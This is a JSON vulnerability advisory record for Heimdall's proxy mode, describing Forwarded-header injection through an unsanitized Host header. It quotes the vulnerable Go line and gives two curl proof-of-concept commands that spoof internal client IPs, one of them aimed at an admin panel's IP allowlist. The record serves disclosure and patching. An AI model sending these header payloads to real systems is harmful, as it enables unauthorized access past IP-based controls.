{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.17.16"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dadrus/heimdall"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:24:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request\u0027s `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services.\n\n### Vulnerable Code\n\n**File: `proxy/request_context.go` (line 201)**\n\n```go\nentry := \"for=\" + clientIP + \";host=\" + in.Host + \";proto=\" + proto\n```\n\nGo\u0027s `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.\n\n### PoC\n\n```bash\n# Inject a spoofed IP into the Forwarded header\ncurl -s -H \"Host: evil.com,for=127.0.0.1\" \\\n  \"http://TARGET:PORT/protected-resource\"\n```\n\nThis produces the following `Forwarded` header sent to the upstream service:\n\n```\nForwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http\n```\n\nUpstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP.\n\n```bash\n# More targeted attack: spoof to bypass IP allowlist\ncurl -s -H \"Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1\" \\\n  \"http://TARGET:PORT/admin-panel\"\n```\n\n### Impact\n\n- **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request originates from an internal/trusted IP\n- **Access control bypass:** Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed\n- **Affects all proxy-mode deployments** where upstream services parse the `Forwarded` header.",
  "id": "GHSA-4jgr-pg2m-m988",
  "modified": "2026-07-20T21:28:46Z",
  "published": "2026-06-18T14:24:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/security/advisories/GHSA-4jgr-pg2m-m988"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dadrus/heimdall"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode"
}